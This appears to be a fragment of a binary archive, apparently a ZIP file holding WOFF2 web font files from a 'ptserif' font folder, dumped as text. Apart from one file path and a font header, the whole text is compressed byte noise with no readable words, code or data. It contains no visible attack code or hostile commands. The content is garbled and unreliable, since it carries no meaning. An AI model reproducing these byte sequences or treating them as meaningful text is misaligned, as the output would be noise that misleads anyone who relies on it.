9fW;.DWP4fSQUs	\ePN^>caZ3RO"	8(srBVc2C$8pI$;Eu>]CҎF!X@+ mc䲯b9anyC?RBSP%HGFc2~*Wdu9ޓQ+c1+UP$W9q>[Ϯ{_FPFTcbwGN݌G<RIJ(	jiMy?5|O`\dB>mwfj
}a=Z$ODa<x-yDm&0 L<LC)5
" m`R*;")M*v5ԈBӁj2R_tU [
:
	X EyXOYJKFTĈ* N4vƓkґ	=	 Hi:T]OgQ/%bV," 
PEjt:bkVQ Yky#r`=~42*Bs&8"JuJfYz՝p3Nh5F+ɩ[,btҴl^MtrywvdyEd,թIF3lª<i|*
ua#~YfBc
cWj+?	al	Y\S]Yo@Gc	AJ.nNPY0$37lLe^i1xS2)(CZ}<w
`Xp
ˍorCaNVq峼LNi#7kd>˂BhpL&tM{ۨʺRe^
cIa	^y9ANJ	;u28Y4jf+,;>j0\PF#iNvyB<%AL;GUl/֥6$e:ccU+@sa0M=e?a.+jdiSF@;vۦ|@cb(0a,i%kluի1z)`;È<@APl*ȍ_W:`ry?[~~kE	`)"G;3yjet@A1׺?4W}NKG v(Ss݇+t_7<"uȝE.>$\G1!.+yCL/c(&u3m;<]}-Id5y	7J"kf;JtC9Z߹&jKTj~
J@{'9pW|^Aý"!dp]K!"ܲKfq
U@u|"^K2Gnk#g8}	ė>V&*0$qW0({܊+;k8,J_U[ˌ.FN>3,2#C0HsбfZc
9%hYcیnJ#tҡ`ixFh˶XJA>ׂq.?|zP@b\m$BԢe q sC49Y:!YQ=<&5  }D"~φAڽQ:oBVtQGgtJ7E1Hgzo`H6++uzQ'6*4e45'M$@]s؃1 ѸOǼ'%nlѓU&9-5aKa\/3TݯQ&&5r8:K8><X1R,4 {%ȭ[S)+oR&s}7GJKv}wzUrC~Kj?քFApU6D³<~L:GPPH,vСOU?0sjқun9=KZq%|8>7a#~^/'.a1 3V ӰmSH$T5sgn.r.BNsߧ
$z/o#pMU+h~X a6Y M9b4EbXt׽VqBsya:GVCW;ɽ,x[ay 	qp; 8NTpMLf5_'ebwD%V- 	?yz,sv1Mj,+PDә>(Qs}CB@q~S'kKYcmm;n`BT 0U1珱<9u?<(`R%^lpD%zʵ]O(Y<|D9ۿi}EҐ\s+Vtd+nL	(u2HXC' ?)`<aw&N8Cthi0*6_0 Q:^EgmH	.إwJn6x7enpU$BO]}USsi``ĳ7|M6PEڠh<iVtYXar (nՠygɢ .a[%X}ܤjIY 9#	XS_Ҥ)Nv	nrE
2o* #G(xVo,rLzf/hR7'|oX!T߯~f&p;)\BE5sCfŪ_lŪ^O?*.H{ʠ:6j$jEF2N D&Cltݎ_ HEt]M3BW|X`?mȧЖF=lh~?UgKStcYaH[V2-\
KTyHYcXl^cRY1}?gp@gB
ʡUSJ}cEM'uG&ahd\:*SKu4Cu
ҭY,1vPFSSa&rwf0\'zΡ[zD6B$v:b{k~'.	q뱻p<ì֏֥b;NNbb?:1o雜86gDἜ?3hn躢WW4Rl,SMbK?US4-r7%B>xY>Vs3dۖrؓL%Gc}74-8153Q e6Ջq)d&o^B,]^5:rs26onZBZE{N(L/PkNxTQ.D2.F|K	lt"a*M!혖\[8,#q<)֨eĪˌg1r?xWF,,c"y-ϲ ߝ"4H.k$$>UTMZ?!tP-EIrDޅu˪Qz+3cP36rLbu70i

%k Tp"QHX?+aCX8gE
	YvDD]1fGQcd)kUlAkk/WӢ*Pƣ%ҰfHrE(12
l/f,<q$u5`C7=YŔcPVo
,YWW̍}TAY)Vz._bV Pq+2yd]@ NNt|P$37~X5{,x	WʛCr\sn-89L܎hnuY>;}>C7*[^W*eTuGUĮtzFt"0!;Q7fo]1şhY` +ٓC,pRq'\Gˁ[wa^ɋU&D>/STŋ
@
R( RP?H:TrM	}4R(ZK!c[LC@Lbw[})''2b0ΥￇdZX0N(|,*)+V߹R.BZ Z_NEor@(1o/e^ nqP<ܡ7t6+iO}=SO?}oOOAn[ֵF[}G#IocRڥsǤ
jÕ.\Fx*:t_?7ǂVk"ZLd#=0#Yo٨A9QC{`:s_4 YBF%ɊH(4/"{*RƼCG/f	ZNy^ogx<cp޿pp-^9z[3>UtU`8~]@fLڲ\X3{cRy	>om=lO/(s~HOG.ҡҷAP/$+JIh8jBī,p #wKU]`=%S2BA^:dK}^n˟cC;
Y*>@M|{uD,i]?S"COH-Y_=f!%B<!xqIHt$Kq\"p}'h?b]>gWCu]Z0]sGڗnIШ767Yj&A]\4n4ǽOi銾5LStC6$hGInVYmbOަ7tyikLqg7Q'Y^uaπq[ 1,>;kUGQ)K4zuBqUE'5rTa3vd[ ӥfNi!?th?C(u^^Cu*7ɸBNBE~_l̵nuN9E\p2\}l=jVf1иS8/	l{wfޠQ`vL#Lh_!RzP[4f';C],a$v4~)>!ZXqcP|6J#KWiJD_À1V9K'[ʹӮhvZ	+C~o44ssY$$t
Zy  7AyO}d0 iz&`u&I˕ߖ~eґ}O+?!%7-6MɈɥpITa__3_f?-]g,z@q,,Z\$ڲmx9jz>T˙3?,~L1>9Z:g?̇ni?p1ߙOӋnX+z؊\8*݊n#ˁ#C*X8lInt?>o~/mB::`<:Nؖ&~%KRj%Rӱb>KRpl<"9oW=2<~g~80--bH};X:UnLoHނͿy}yspxBEfzYV.u-;C#tf·,#FB<½!{&7֍5Т8]J+ZIo=.Jr0!IO9VAcjJTɩ5
!ܾ*o^j7JE`o	K0YTNKYslXtY(E9['T<j%\䩷cUFOcKi8OĮ0& cWژA	g8M{EM>$fw(P .I\q]+0.Ͼ4W@pSܺsZ
3T=ȩOoIn$I VqU@ 
g9t8[W5)AI˃4aɪlPǎw*@`p%%r|(-DSo vASOxё(7#}Hq|C_TnIh`0;py?dITphO	>4/!&!B5X:wVxyF1nKUrIZ]W(߻= 
Rɟ2(Eԁ㛹?x#[C	mռ[Sd70+i\1	+_9pܙPb	^Ѕ[[8W۞lZND{snn>FwS^6XA!-KePK~⋫s{u5c<}\:sm=1F3F%=_v5<:`:O_!
?`bE+3AG P#D_zK@;Hzh,ߓ?pJ#O*51JR X>5|'("+2w+ܹĹ(!D8$(y%Wv{>.X+F7+a,<i-weM7mH#92
0Csw)'2ɟtҝ [+!wCи7<iM%#@d9gd y\h#3}#cT7LB#
e,K;AHuM,ܴOWt&MkdVBC\0(ۚ~2|!pHjNUD#U)ʟ|ƻz|Ax<:K?;Ϲ8X4<>u3Z:Bˁ01h5`FGlߐ Wb6reaoԅdGb=_ٛC0'~oTc_/&=
dOѺʏ
zeFw^\KY`v>'"P>.@ Lo!	*˧Fp:	>m*Zjj㊛)"Z)74<sZQDo%W,>UT]ݢ]yuy.Գι8u0"XfՋM=kV		ڼ%ՈuHjeƽH!T"ΆҸ0t1q=3|j%kɢ1sKzw$IHJiw	c}<!gEYU<wdGшDa/-Ceyf9uK'vDC{΂%9Ţc_dAm`BTFgD!Uy/(ǋ}ȯx)t,'5o
p-ό Ee/.]y <8 E-ic&縜g؏)aybIw̼39q	Ѿ"$EZIeqy_ٚ}\5ғկ nθL>՟ og6%VG0ĩSsdg2xDC'[͡O֓CwDOdOd
,!&`5~BϰC},`WC,.4wf:ٚ=}29@^tH$Z'	\}YF#Z7QQ4	Ӣj@!VLҩ#h_0鋐lY@@nK-HMw6HpWe390`[ǜi	לƆb	M.GWs8i[tb "ɖ9&KxE{9ߕ#~dQi/JgsLSETsi(U5
0V}GLBW8V)ɷØJ7\n?2(YRa i#7v*r#`*	J8^`^Be2
L6햑w"Qk"WʁhlU=Yf:K)f_T7F+x[~cU[Dm홽p D(*AV"%%Lf#E5e[)W1UR.lz9f('Nv0Xȴ&F`jYy}ὨsjM`m6pҕ|u/.buSvNmʣ|pߊp=$dw7طoyٰGeOxxgENXvi^|Yw(V<{D%\Q2[m@Ð5*hO"u$~LO|	Ԗ"x-ɌQaKU(&dGK9Qz:3.tI\F;˵FV4vϣ$KeU_zT1,.|TI^-KST#|-dI㧨y~Tn5-9ZSTpKO	m]N[#>xʼ&WwP#[ÌʬrkF&{T٭2M\]/Ocz(lYbJSN
1JBO8ߕ>\p^nJH9mg4Gڭu	YZii+wmIѿvAqٚY"gظHCi:2mÑZuX6j%V+uB/7`zD}\C3)ˉ^
8-wHNCR1*q#K -S7Xՠr۾r&rrTQA5\@~o,xGJN^8ǺBW5٣yGHnÚYcx9Di2aU
!5*B!lŇZPN5ǐ7suкT֎ͤbe_LC+B{)Gڝ
\r3[	tD(d c卤:N,"It5{^߄N3UdLɔ{R\ǭևT2J0Z,6^џc$pSUM nɷez<Gk".~4m1TL ]BEΝcvp锣^YGu	a=zu8Z<84{uѬ9s*@HѻBLɽ{._XP.O)lU&|#7\T9 T7s~<(=<75.1{t/MLSa4y[WF&xO
#UCBz@o3"l^貁mM-䛭?cFLӱZvkhc"uRjI)&r+ݨ}~ؖ|s6K]㼌TL!`nR'vŌ`vjVFX}ڴg$fd*Y4-`y7 0ơ$Ϸ|!$b[[ףD=d4.oFӸJ^A̅#3_kﾧ~!h܆D*2ɋ}-CBVn{N?"K8U#h9ؔ#ϭm~ {֪{͋-G?ڿTsgUL"z%5F,pӺurK߆wהd5Lpy$SF6R*xĊ7)TnL-6\zҞ.fZgl@=Fag4qNr00`Q)> o#&ASW$GSG./)@ӚSODxm
A8<ZH?pC9#X6yp!v 8M>U"Ej٫cSck![wo1Lr&oRO)*@CTv3:	C[S/3'D5{L A+ Ki,Eܕ-\\?3)ukoVN	uvӨDJ7$H&N Uù	Yg斜Oc-gn)y M넡ldKPęehۡmŻ(#9gAF=؁yDdv"8I|ȋ},"CC'ﳥTh/ŗ!{<[)3<yX$lՅqi.]@:/J*sO.<I xṶ-#|6/nLdR"5KۃCu!gS]dؚ()rlgdXS~k@2IJR
E-8<cmfX3ߺif s|7ArsWTʺ0OX;g>}{,!͑Ykp\%&F51gebq1ҾJ+[DVoؚ!Z޴.47⸏Y3;@	cZ}UϏ
%*Ld|w[keJ䂣ۜ^pձjM^P=z"ڸmœIj2Y:=en?MkNA;_	經xGkJ-ac/.%rQ-7n<c# ^Q9%3x?GzA=wNwCϵ[Axb*^s<5mRv`d}l)hX4˭jք6o|λKCqnirc~
=?<3َҚ2WӞ!3{zdfEs?GDZ	+5k&<lY%Գ}[h1FZ/8^ml#3ky4[]>hVH-?_^!3hG!;;P~&eukϽAŁ.-OZB1M=z
0'HC$~-0_LǃÂoL"!^sR
7b(uM\/l=1nŽ+⢲+'inusOt|$yFsefT& q![i1
KS0^w|7ǃ ~yD\N~U8	
pOmNviI)bE	_^6WQ?yh-lQϞzH;ymr}0mT y.}m+j0X_iV깣(ު|07f
w} ,5ߞ&]#X[ٌAd%Y4! s5ѕǄ4&GO JB3'dZvAc }G7'RsxaRUX3v^0aز(s%+ܴ&:evO7S-$pPl8eSw/H^' 2:ww"XPWyRɫ#52J/?Mt]"a]ѵ\s#6UԫTHA([ mGQJb:-ê;qCj'+{%ϺMsT^J;K	&l :@Ե'A68  5i0- ,n0S7j|DHFf)Qa(SD&єZN,|`RW2+MP YlP1PN/STckrIp6NξYLܡ+J˜vNi-9+
drԴr5wi3sByl "Mw剁G@DBFAEC勇Ϗ? e)~#\8
J*jŞ0{eLXX%J&E42@W0Nv-T^s4@7̶{ӯ1w&|Zqʟ
Y@b%Z]VW+SJjjԩURALlkfKwV	p!6 @1Y\Zkkes</lM\ΝJx9|+ٮY_\	M
\}HZq  r?w{`: ~πqZ#qHX+ӈ"V?P*-L܁h?o܏w?{zgZҿ	eZmՑ	bjEw9`DV֛ĴdUDu B  PK     N\E    0  fonts/ptserif/EJRTQgYoZZY2vCFuvAFT_rC1chb-.woff2nu [        wOF2         ,  |                       .` J	
p^ 86$8 F
6[qEL` $Wki6T[ߏ='nTj҈yC!r{5DaHrFoQJÂI N8xӑ<Y.PmjjbDY!d92DTb5j2D%*5
D:K?u%zW00D/gl7zHZvSi.e䅪kbA!(Vߢ$$3;PT龭ߜfCL,bVCWZKZ:cDꭂXc,8z`dwF}1qauV FAhHh6y;&Y&${`LH>P4__S3	R	8I@pUm%- TRM$Gsk`N9d#A"*#bX5AQ, v^IXsשH@ݥ-Ki)RLΎ}}hQ~0I F%[V3Xl=1bˁ$}'C@d9q֔, 4fg|,	ҾKшY)k	bSb~aJm{&3=]D.YDG5rO]JaF)-68E!Nq]t.J:^H!Hx=7X]U^iڛP3sW\	9?)KZtUiφw9m4ALUn̸K7
FO]̥9+9qkfF$r."'Bӹ.:BkzϿme?(\̸Tiݛ*E3f(&+
g9ǲO2u-mKߴx78/RĖm)A8΅APE~<RƱЎ@*2@S2.M(fC-w?CRpwT/J%FfioCM>z+ja.L؇.Ⱥ{j/!YBA\4+cX'YDX忻Ԫ!!D6T;sNS'?	Q V¥֯DrN
_8X~ڔeBHx\emfd%=)3|8HsB]Ql]O-E޴?yHRŕo@!t ٶvEe@!+w,fZ(IkꯁOuAߧώB8R	ȿ@,FE+|R$ B	C%|
C n2ED-HB4cI!!@}75<=\N5?U|BEv>9MBI*1libi	BE}#GXQo:ʜj?F].ATKZlj7=r
a-!@(h347vռ̜71H$dT4h2	/+'`\Qe=I]SK[GW?{125wVb8:d`
Stf0YfYVm@C]셵jhVX6-m8#@PAr6&"k*%8p"qضBl
U #B=GP½"NKNؖ˂a8
t02XPfL[1K3
`U3SF[RP$V!p3ɓB<ډS'#9ш+,퍞TMby-Agq(Z{6))ꤕML@^/ЉYeQSJb0"
<"EFK_;Qf@O͠+IKk{oz8Xc~g[gČŷ bIY(2f&}skW\>;`,x㹉7 9hk\.06X;v&2Ml7 JgpKs	E!њKp?c}w.{a[7l]`2Mh
egQ1޶1Kl6ۭfLqYqk-Ƨ5LR͊/\kdqH>	
id ,zZ`RGŎΔw]+r`Pq	U׸ݒqG5io֢F$:=K
su!>#n';<c,f;Oܞp[vx(W\H>^3)}- }I]F3'2Q	!vb2KRZiL|fGcaTEQ&/FeEe59^rEN6'pg7vVb?oP_lKÎcOU8
'sgn⮳4V_rxy&;mp_߭u-'Uir{^O9,_2.p?'l6aF^Yl4cLR$Oʸz>DJ 5 8}:) M}_8S"f[0Z:"m@bfEF/h:>CKPLs^O␜
l-m?I@ƁdܥZQw}|4)$齀=s*k=,~\$7VP0cnڦr+Ii07NZ@Nsvo!md/JGK&tYvFFWaaBHIRcZh//E%rI%6-LARj#8Fk1/bys:?JnFOu-nmԆ;w{A1{+z 1RB !s	?r3HFJQi2HDaXŁh ݌x?vnHzx
@ b9G蠑cu a`h;)d|Q-C}!O'_Rf)r$a{4! DExܻXhb%Fzf@FRi#HF	W)fKpX/]mZu鱂I|w˓q!W"i!ۨA&B ږHI@Eys0bCZU5W
N4+jqG9#V:_ ; bW"{a8v=	PQ;\c<cژMڑFR8IvӰWe2-=e+XZ˲!M4C<E*03ȐS#tYK7\|UQja `ЯU>bRލ4PKq	|0T)I8dH5/0T'a1T8Ϩ9(A0\FA0I'V5`ڠsEq\Jn>&H0ee<p]I `va3BItP3$}'V#1XCjr"5AJH֬Q	o H&q1QOpU`dj["vvo!E/DP!ju$.喅$ZM3fK~Yȼ}$	ujLψE-VH2&hE0떽^-?0>FHGSeda_kw2ߚ!42RőZs '-` RzjN,>xrT~b'qi%T< "bNkG B!].fXGJwANhN'NSmkn\@l4OYE{{[5_@=mȮiwJ=;ܼ,f7UNY#G5𣑢Ѧ"J$ՈxҦeݜ7B'+<ʂhV:ˆrdXmmV9qdcM	S;ҿ6n44MԊQ-Ԍ8$|>g@I3$!8kx\?Ւa7¬^ezNc`g#o]&lhM!u)ss)Sc> GWL	@]	B:oX'{y-hfp/M NiOB
"Uu% EQNyLRnCUDiz`K|.A1#vOK}tpl:s-%}R)ˀH#'̲36E3,Ud@ #|&GiV7Yܯ{1r*YERef%>6aBs n|vײ@
t{mmdXz"$#WjG\Y!#~H\*~#SQ]YH3|^֖ctt׵4t^(54$ᶀsP%LsK
iGAb˲lod.AY"vyx:vGSꖨkJo4˽@a1.F92A}rS&m`Ŏ[msa˾r%3AµxaBĆ"`.O}]tהjxyh00sg|fOf (&T6&Bvj8N#PT-FlTА!翗"Pq"c-^k2M{,kr0m<-q}~G<.kQH6j
cߜ>XN&S`hK9Z*hS1hJwg*q\&Nxcy6ny` {N3s؆j+nݸ`-OaqzB<2秥Yw@RH='nY.V2~)(kmh99c*Cy=fcKÙLsuܓ5G
}^ѥ"MquZDęLtK9CWʓRuD(Y$R0fW@VRVD>D yF?ذrSF,ҖHy %(?MbQ	kB	-մE)C,v^|Tc-@3L tL_,ܬQ2
>`M\;iGEKJ̚mƛM<eĔDVԠN7[Gbb'y	.z<o0s%å~vVz]p;GbgE2A%F,LJh^vY)~VZi9tN}΍{Ms+\^(r^<oc
_8VAUo|7ãp8^3X6Ek?>S`	#Fj`o	2\Y
I'p዇`L	intÚP8Y n/'4 XѕT`~Dcʶi
	@`s !&|=Bs%4yKXN(&|p32]}>P"\z)rk	E<i^k|l\"N2v'U1j޴ lazW{ӤA^Ec^:'5jSN
 (g(;^xANT^\
RJT-eAJ#FXQ(Pu^a")Y@Gu^VZnVj5|Du#h*̕چ95#vFAbC.!$9
9ix%H
TwǟUŪV$8 `uI@tSd{}"S8DY9;/3ԅմǹ$S2m=(iaH`ߦ.Js񭎒ʔtUtU*CyyAW60YgH%wG?8>loWXk)/LV>.	P,yz gvؗp4;2b5;{HY4R<$UUTYU. GO'8t!:bet.R;\+fp3;,h<{Oeb-R/XvIm2'l{{V4Nqtb(]@lC	?XzbBD4!dO3NJbw;.y`־ !CzPF	|~ G	'0 ;''>XӨWcZlJ"zvUsq
jzwqNpӌ_
`Ϣvo+ڧїxc)?@EidF? ^@ꏘx,Oys̑L~6C5Aϊ
rMNegu?r86pBv
9@U\8)Vic0xBL*̞}(kITk$8E;\XB\['M#{xi~(rvx/a.vBxc5Ê )+SŽ84%jhŸ\M<y^a.
"dLBLJ> eG[C;fT83pҞ@o^C|]3-R-aIe,p
5/RI\Ms,{eK#i&MDjAn,\ARlqJ`qt1"j9KN/n^mf	js<V']z1M$<Ag^3$2.d<pn'9ɕ~{I*[GJgEW+$o/dV`<Ȼ#wI@آx~Ԫo),EQ?#Smx0X|IԾO/:B4+☌|?mT%l-cޘJI˥ԾHc$XmFl WGɻ4`ģDma w	:ֈxx*E/9>k]f=
rm,`+[H(dOLD38Sn\ǟ?KtJ<)o9_Ym'`x6mO6-|2͹l%,@6-lbͫVxk*RA^Oo:}n7^LΡFN<ج*)nݣs>H&qMG\vld/s<~cK̳ZnԏJ6YJi_H3S<h ULɞBSR.j!5s4=LBxnt^uE2nw]Mˑ"3.P۪(5@X}I~_4p~
eR*ٖwnf5ꐘ&!*!}y]Kk!V^q`V&(
l*7-$颠Hs|T07}s7+z:`jq\+RȬH"J<e԰BfO78Mw;tL*^LlFbccPq#_qFf26+T@EWrH/L3bY<{ٟ"G/[R5Eg+>*.Uq}kgN۲cJ=!È?k.j@OaVO5ԋ~	`vEJ#%JaOq4yfR8e¶U4u3r#xUmBov-Ykg/A{ 'F[kxdbdcvt~8)rɣ,q'zʌP>d7/ӑӀpsAZ
n~ ĥW?}'i=:aqs].sYZ3p/ÜGҦЋA{M̰nlAoY\5?5S< zRTfZPp|e\.	3gAa$8\rȭzI!/3=?Ԉ%#{{z c`;|(SBL\^Z}τbRWǛ[=Ci+#	ѡ/V>,):`i<}CZ#__iH4NVhgэ;{_dZ//-
GeH/s"""AqѨ{,GřZoe@Ά* h1js {TW]տQpW8:`S:	]<jF%\<.i+L7e:AG}]ixF`tvJP2;5m$@	z:.{aufR֋iz@;OZ|[޶|g^c3){4743")39!lsS\0rv&{;TS{{it#Ԍ]^K '{yL7O4X_1*atNћ+XcOIQL pߵ6iXp=ՠ`?ϥ~(m*5L	xrk5y4@[>ky	Q΄еxKx/Ӭl28^7ї"WdBګ~q Nnb6B	qj"H]"^'<^i-?(Ѧ kW0Yw&syMsɂC|T2M̠iKkq$2T橔7pƸm/lI31,uғvA0PYh޴$m+Xq|JP%l+	$ OMO\gv<<coe2j&+6Ir
6tVcj)_ gAu|nRl[ųŊm̢ķZhkfLVAa2#-+B4'+nm^a*3UN
dKU$>ݖnAv\D_2٥~ajaDxƱط[}+}-V[tҼ):58wS	wkAWDwX7Tr {VpI/b/i?29̜{()3~}WRWk|Ƕ0lkK9/f^nf!9WAlߘ
at?cWv*\<AѠoqcτZxԪaW&ɹ;O)( <BAs5.kpvPRK+kGЙ<dW|t,8amSU8x+oR@ 	DH-*^G+3RaF3kz<< * wS,y	syKne]p	oMHA!gTh&M0pЛ,-0HFǞ^^W^O緞Pꕄ^<TfR%|?rjØ"Vw'JؽRd%ϮoFX#ucrM!.^
nRn)19~(8X˵*b-*qЗ킇m"BNTEbmCHi#'JI(t1gHfdv \wxPyG C
|_?SƱ߷)qm"+V՝5;$2²K=Ac㰼$yF_f! s&7<xLm5>n&-J|Ŭ7%mVk\ Du%NێdQOtxU}WLO3fwV-[8. ԨZGϟA047ijY1; 9alKq5^^|_ԭNwi>֙\+m` h&7SK,⊚1cdb1覍6P_!*SJ><`7`1_CQǛn'Z`l;!zI[{LPj*/BSꆐuk+P(Qj'֤  )^AegUQQ)zYGK5ŭj9'hQU˖o~g +ӪMeևe%g[>rjېY@Ѓ4qNiwO(*8Q3턁@{{ yv{p;sV3N7W2f<D>Vebq-T⍚F=9Ď#NM~)zz\̖2@6໗G}0_Srw)aAZ HG@)FOHG|I٥Ճ0;YjHꘟV`bŊed).kAQL[vA#N7CC	4;4cEpdH[*-Ukfi3X\ZM`*pTHKܦ2S;l,Z#Ze>+3kgё#;.z赾0VQeʽ)[S:cLC+@t-go3CG:I*tn~U>&9B+]kLXIwE"WB漑q	I5UN lSv. _S?(T~~I<F	/O'~
C/hV)N,3?ÕsB.\ڜX:&Ɓ߼1E"I^3+
tO-">>c>=TX	4a=]ʟj k+X.$R.)Y(NoTAf%,{ɥ45{,տo~f#@0"s<}<#gV	,a3Hԩ1଄:ڿ%Cy~yy,&cۗՄpZj9nܫqDVi盈EvRU6$Ϗ3%s :"6%h3`,b߮LyF7m6+Ao*@:3aܛ~0qD췛F-pxhV_R/߿gxC\ctHŧ?+Hrx4	Y4CխT-'Vh L޹x[ɎcZ>et'xsP?MGVO')X)SДbEvбc]u5%S.0l]g께:'uOJ(su1|/!UDӋHkO@Um'(ڞL͋TWCMXܑ\4Zxޠ1~mF$](@!߷BC˜6ǟAK]U׸+3EbPM>Ԏ^Ā-F6	}lRR9,((_2t4<]zc=:3zmENz?$&3M6g=6ޗ.VcVEa]rK9tlF'"i@"ShX^ac=#bާƲm{JMͲKkLs9z'=g
YΏ̊R/F;v.3i"=9F>]\9gm'Z(Lv=zガw,\A<Ɉ(bUS7??./x8اNwMԴ&o/a`<l1վ5\bLd̓YK9~K\M(+ğlz2Dl?]|{/O1Wmپ=m*{0G.<Kg#01[(gw0ύ"N9>IGb#{	G	iK\I	OAڭ"}{r)hӶ٭dlM}y;~ikpwcu4HfIw?qˌOvaV+5<fnge
.Ha|uđA=DqceXA XHR-DknZ)jE0}i6:cQ	TRNYKjB鈙dFbw:e.F=|,#;ߍqtJg:6Әl[H-Du/#/#o2
.U56 OK_dTLwo;ذBM81߯˵02&F`5T*&Wb)/{*@.bx\ޖ?{06:&fbFXM{@a;#vϟagCո/w2`Vsރ}F*ٜa#)\6IIښ:cq4:Cิs/
V&puS$y`L"]ͫ8EGH\03W+t=63PtX<ѺĐBc;5Xcw+>2@ؙI֒x%Ҩ넰Ѐ;فuYWjZ1edQŀ{+~ kظsavmWWM4rD}̳;m8} 3FXJf"]yAn@Gp_}E3ĩS"('2$-̝	kXPl.dPZȋQ<5S̛
_unh4=tmFH^<M赊u
9N&B$~tfP&<u<
<+w?q@#	Cu{z9aIDpVЎj\֎܀e${fd/ӟ
D4qˈHt5+~B*	)!7.82⨫elOJ8%0(1@ƒ2eFԭa*R_\aֽ~mm`\=Ak<#ǭ`L x]ME=OAn -`iKH%4.@#VĒcہY"ܸ\j"9bC'I垻&κ*VZȝ@+\rňJP|M"0ڪfM6&@_	@>Qc5tUdSWX{0"4D&VaQJ8sC!cTW+d)nAOгq5@]{t8gn̽%w4/
L,!VX ḿGfh~/ e͟rjco{w5Ir.~٘[<$5`Gif.2q9H 7ӒOQ:דȅlaF\F,'umtVrygŦBvNz,o>:A}03B>$7шe3s$$W2DUN-cLMr&ko{VB6Q^`D;ay<4Yy"4*4XL%\ޛ
ӣ酾qv,;5}+~GE0o>d\'f̓f@	nFz)ڏfu2H^r\࿕hMx{qE̊YclثZrtgZ,8ӸRIuwA(8D㦮xGTv 9i<(sBrTFr@\t`	@q@XsfdJD.V)[K7\sS(`J"م,Ix]Ap
M3S_TùrE>!aoV$L:_pCӌYw}gMݶ⒩!Y_czH	*x \|m7P&gϾ	8kj8Ք,C%ɒ-[VO-w?܁V0ayz3XOA3(ft޽z"qШ,kg
J\җȕ<f.pc] ƕ)&{Jʖln P+'?\l"B$Bz?os. /ŀ!p_>u6/"CAxĮؐ^#ӈ%utV|kt
:X%%#k?/oM_%E-]g?E$#?PBsK!23rCwk#҉
)e_Hz* dBnqV<:Ө30>'T"/ %K+9gW|?hCNFiHE tA[8{L$g]kdMTQZɌ&%&Wm4wN&f뗓u;a~;x
=zoܳ'>`On;^eWՅlB5'u0AoIfhDoD0#e#ծNu5ڶ2тYVJe /ˑuHQrh#\)o.i12t"޼:q=O}n~I:X '@0! R1щM)!V=1<oސ(u8)-єQ&#iIpT̟yQ%V	)h+?sWzF`Иx<}'0QC@R-q,kung";iK$\-x<f  ChA>% vwpl
M3A!3"8daHh:6?Xi,rDLN9KO{vQag-J))z*?BPC!\G_o@8]ۭ"`r\y^7\Bb!č[9_ %\QZerY%ȅD7Yl~Jf7#Y×Kvv/c/@\uXrEߙ*@n.s
D%\[!	DJikNyYmzt;k`)ѰnU/qygfD*U'KQfڿg}-9wA	/(ƶbKhR"
MP!K$Ո	gO挆F/=ܾv! G_K+>B0
?-s#jlOeW)M~<
W~n>N?T7*ݳ"By֞Ƥٰ`;GPKQMnFQ+GPfK =G%m{c4 a@Hz
u18c=*si3͐vn44;!3
eͮ톫#@3fm=p9h8;gl~_RlzaЭ+B//Hg>]!WI$4Es9z6w(%7 WRrB ~ݴt $,thR5M,YMR8
lhMEI(%  
vӽ6_jA0F<?ݒ2.7hn&:}Mqb_?F(|B$՗;z<zyiΞ:`%=5<Gsو߼_c"1\)w$+ƣqn ȊFΚM]c2y`}n(ڌ@d3nZV@a!O0WJw(<J_I= nJoGCv{l;>6ٻx49Ӷ[U..q._ٳ,wJUt
݅k-9e&(WX*-+Ktޫݍ ft}e{r4J@/[SvތRjܞhJA-|ǮּԑYGKi_@`g5*r.C:r=MX.KN|gP	>QEN>m17SNŻyB
>&ZXkR$\]/DwιӲ#EF,1zcR!3B26+Tౝ(Soys~5AtIS@E|tUݴ=Sgê`/n[tJfv3;_ՒF/k꿴/0a&\:wGvcJ#2ٶ^^/~^>\$_uܬwn`^ݻd3-g݌opq+}p>ra<[$G(o۠<3Rj769ի]nw7Z8Бԑ5ґv=<dY^4tYw{;Q,w~Z:T@Ҡg3.eF>3""W`\%ǟ(=^֫-.;sy7\-p}3e`yIGn@I5(\je='G^$p}XGwV2;ę$0asLB99yJ^DcmEI~@/))GJ Jҋ'9nB-;q8SĤSۖ.S!&@K`*ȻђNE j_*,d>kl8Cw.)TVHA|41kKGsúkYȍj΍L,*RZ3I_щ@ZB-(eAB5`$֐%,[$[*~UM3luaqJH"I=2+TnpB{ zj._YvhʺF	U/rkNMV&X=־ݑ.sm˦aRk{@ G۪(>>`CHK[: a@]9gE\!x[zjH0oN#p
w6ΥvFFA,ۃl;`)[rTp;+CPLXrAQFb.!y8s齃f	)jx~7潋xЩPB۶7=3UPURA6f>ntJ\	"nTE>Y@3Vao⾶fѐϡ/f%oore-#+&U3G}xج&RELV@q]@i·`pؽx<zJhų0'LwYYrW!Tr]V[\#q'd:∠zWK7pOx&`c*E,$l}18mzYzmR@x~EBFk4йf,ezZM >F*><鞏F?<ڈ˰ԙ_Q4iSf1?K&{
-N? $*fzp[#yq@PczjkRݜ} /߁GpvxMGV,W+]Uq/grQE>޹95Vr.lv #-uBmjDDlQVH8~7}="GD}~45>И?I=ݪj9aO:4,hxcE}ȤYBa]2 _N~310BTwvU:u,$M${[d%`GY0XTաNxa}vh +Am'GCU~ύhhNvOlZo%ؕFBk0\~צo4.JN>F̪ 0DO[Ӈ>alF5`hfh3ԉZ1e4x"bA"!JWnEnUZ4cEkZb4kwbݚ(kZH|Efcci?FTCGoH1|YiX4ޑRf`#_Ξ CEpNj籱&{<1=+2Tق͕+P
{ige$SA"wG-3iǑÞ!,6	X"->n</6Q52fFa|$3OSOw(-#vMⱠ-<$#;yu:jw&e3QSTt_c$3#%6:ƄOh+Ɔv@<񊺚ꃊѝqϧ7#%1*0fmE#I4l78CGJ3=}gAKⴁ-
.66zYþ.g!~s2- F<IܻL[ {sw:/gOOKғ(uJ`q|_i _=}Qߙ>ض2?BMb?>oN4)/zIls_{Đt:;iwg|3ac.!SkG$?7;}\*|sl1FѿQOwMl;b
]9ڊ>f^V˃q=|zhi5p}ڕ)5<x*>:SY/UɒɴzMןB_zj#BE-O|zmۓi,~+hOKW7Bj':RsM0_vHG|,b&}:[C
)B01SR$GǮJ9h͝lD~:R\V, JE?ƹ3A4!ΑTymfhzLOIZse6/#P&lEǓýM
